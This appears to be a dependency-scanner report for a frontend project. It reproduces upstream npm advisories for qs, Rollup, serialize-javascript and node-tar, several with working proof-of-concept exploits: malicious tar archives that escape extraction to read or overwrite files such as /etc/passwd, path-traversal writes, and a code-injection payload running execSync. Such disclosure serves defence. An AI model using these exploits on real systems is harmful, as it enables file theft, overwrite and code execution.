File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/polyfills-FFHMD2TL.js
MD5: feb8fabaa54a01a42a5d3785369cea71
SHA1: f49b49a155bc7d192db62a4c15d0a612b460a667
SHA256:69dcea045643dd0de998a3cd0ccbbb46b46bff2651a87a56c73c28eb208e8f98
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?qs
Referenced In Project/Scope: package-lock.json: transitive
### Summary
The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).
### Details
When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.
**Vulnerable code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).
### PoC
**Test 1 - Basic bypass:**
```
npm install qs
```
```js
const qs = require('qs');
const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)
const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };
try {
const result = qs.parse(payload, options);
console.log(result.a.length); // Outputs: 26 (bypass successful)
} catch (e) {
console.log('Limit enforced:', e.message); // Not thrown
}
```
**Configuration:**
- `comma: true`
- `arrayLimit: 5`
- `throwOnLimitExceeded: true`
Expected: Throws "Array limit exceeded" error.
Actual: Parses successfully, creating an array of length 26.
### Impact
Denial of Service (DoS) via memory exhaustion.
### Suggested Fix
Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes.
**Current code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
**Fixed code:**
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
const splitArray = val.split(',');
if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit
if (options.throwOnLimitExceeded) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
} else {
// Optionally convert to object or truncate, per README
return splitArray.slice(0, options.arrayLimit - currentArrayLength);
}
}
return splitArray;
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?rollup
Referenced In Project/Scope: package-lock.json: transitive
### Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
### Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\`).
```typescript
// src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
```
This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.
2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the "sanitized" filename.
```typescript
// src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);
```
Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.
### PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
**Scenario: CLI Named Input Exploit**
1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).
2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:
```bash
rollup --input "a/../../pwned.js=main.js" --dir dist
```
3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.
**Reproduction Files provided :**
* `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.
* `exploit.py`: Automated script to run the PoC and verify the file escape.
vuln_app.js
```js
const path = require('path');
const fs = require('fs');
/**
* REPLICATED ROLLUP VULNERABILITY
*
* 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
* 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
*/
function sanitize(name) {
// The vulnerability: Rollup's regex fails to strip dots and slashes,
// allowing path traversal sequences like '../'
return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}
async function build(userSuppliedName) {
const outputDir = path.join(__dirname, 'dist');
const fileName = sanitize(userSuppliedName);
// Vulnerability: path.resolve() follows traversal sequences in the filename
const outputPath = path.resolve(outputDir, fileName);
console.log(`[*] Target write path: ${outputPath}`);
if (!fs.existsSync(path.dirname(outputPath))) {
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
}
fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
console.log(`[+] File written successfully.`);
}
build(process.argv[2] || 'bundle.js');
```
exploit.py
```py
import subprocess
from pathlib import Path
def run_poc():
# Target a file outside the 'dist' folder
poc_dir = Path(__file__).parent
malicious_filename = "../pwned_by_rollup.js"
target_path = poc_dir / "pwned_by_rollup.js"
print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable app
subprocess.run(["node", "poc/vuln_app.js", malicious_filename])
if target_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanup
else:
print("[FAILED] Exploit did not work.")
if __name__ == "__main__":
run_poc()
```
## POC
```rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist```
<img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" />
### Impact
This is a **High** level of severity vulnerability.
* **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.
* **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
* **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/scripts-NF74VGQ5.js
MD5: 2abe734603979ee975e8274b59119ca2
SHA1: 7fb1a0e5a114d6185aa3326fccf5aad9b33825b3
SHA256:a9814773b8160ee75537eda6c65bd42701f083ead42d512e87bf0a2855031330
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?serialize-javascript
Referenced In Project/Scope: package-lock.json: transitive
### Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.
If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.
```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```
```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```
```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```
### Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/static-config.js
MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/dev/static-config.js
MD5: 62b7e80d9134a8ee5788ac652ac9f8d7
SHA1: 54fcf9c96e56ebbb55a4deabddc151e56ff6ceeb
SHA256:3e48f28be9b18eb4ad11c24fe3530f2723ef0277b80000bc2c62ad91011474ec
File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/prod/static-config.js
MD5: ddbf4a72b50a5e5caacfc3f7cd13cddc
SHA1: 7c09b64f05b54c626c77e65fce405acb0299bdf5
SHA256:4c19ade5d5a370479f980d8fec6dd892b9fa29d3912a04fb67b972b3f3dcf980
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tar
Referenced In Project/Scope: package-lock.json: transitive
**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
**AUTHOR**: Tomás Illuminati
### Details
A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
```typescript
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
```
In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example:
``````bash
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
``````
---
### PoC
``````javascript
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
``````
---
### Impact
This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.
---
### Remediation
Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`.
Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---CWE-176 Improper Handling of Unicode EncodingVulnerable Software & Versions (NPM):
### Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
### Details
The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:
**Security check in `[STRIPABSOLUTEPATH]`:**
```javascript
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
```
**Hardlink creation in `[HARDLINK]`:**
```javascript
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
```
**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.
- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.
- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.
The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
### PoC
#### Setup
Create a new directory with these files:
```
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
```
**package.json**
```json
{ "dependencies": { "tar": "^7.5.0" } }
```
**secret.txt** (sensitive file outside uploads/)
```
DATABASE_PASSWORD=supersecret123
```
**server.js** (vulnerable file upload server)
```javascript
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
```
**create-malicious-tar.js** (attacker creates exploit TAR)
```javascript
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
```
#### Run
```bash
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
```
### Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.
**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
### Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|--------------|-------------|--------|
| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |
| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |
| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |
| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |
| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |
| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |
## Data Exfiltration & Corruption
1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations
2. **Read sensitive files** by creating hardlinks that point outside extraction directory
3. **Corrupt databases** and application state
4. **Steal credentials** from config files, `.env`, secretsCWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59 Improper Link Resolution Before File Access ('Link Following')Vulnerable Software & Versions (NPM):
### Summary
`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.
This enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).
Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.
### Details
The bypass chain uses two symlinks plus one hardlink:
1. `a/b/c/up -> ../..`
2. `a/b/escape -> c/up/../..`
3. `exfil` (hardlink) -> `a/b/escape/<target-relative-to-parent-of-extract>`
Why this works:
- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.
- See `STRIPABSOLUTEPATH` logic in:
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`
- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`
- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`
As a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.
### PoC
[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)
Environment used for validation:
- Node: `v25.4.0`
- tar: `7.5.7`
- OS: macOS Darwin 25.2.0
- Extract options: defaults (`tar.extract({ file, cwd })`)
Steps:
1. Prepare/locate a `tar` module. If `require('tar')` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.
2. Run:
```bash
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
```
3. Expected vulnerable output (key lines):
```text
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE
```
Interpretation:
- `same_inode=true`: extracted `exfil` and external secret are the same file object.
- `read_ok=true`: reading `exfil` leaks external content.
- `write_ok=true`: writing `exfil` modifies external file.
### Impact
Vulnerability type:
- Arbitrary file read/write via archive extraction path confusion and link resolution.
Who is impacted:
- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.
- Impact scope is the privileges of the extracting process user.
Potential outcomes:
- Read sensitive files reachable by the process user.
- Overwrite writable files outside extraction root.
- Escalate impact depending on deployment context (keys, configs, scripts, app data).CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
### Summary
The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.
### Details
The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.
**1. Hardlink Escape (Arbitrary File Overwrite)**
The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
**2. Symlink Poisoning**
The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.
### PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
```javascript
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
```
### Impact
* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
### Summary
`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.
### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.
What happens with `linkpath: "C:../../../target.txt"`:
1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.
4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).
This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.
### PoC
Tested on Arch Linux with `tar@7.5.10`.
PoC script (`poc.cjs`):
```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```
Run:
```bash
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```
Observed output:
```text
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
```
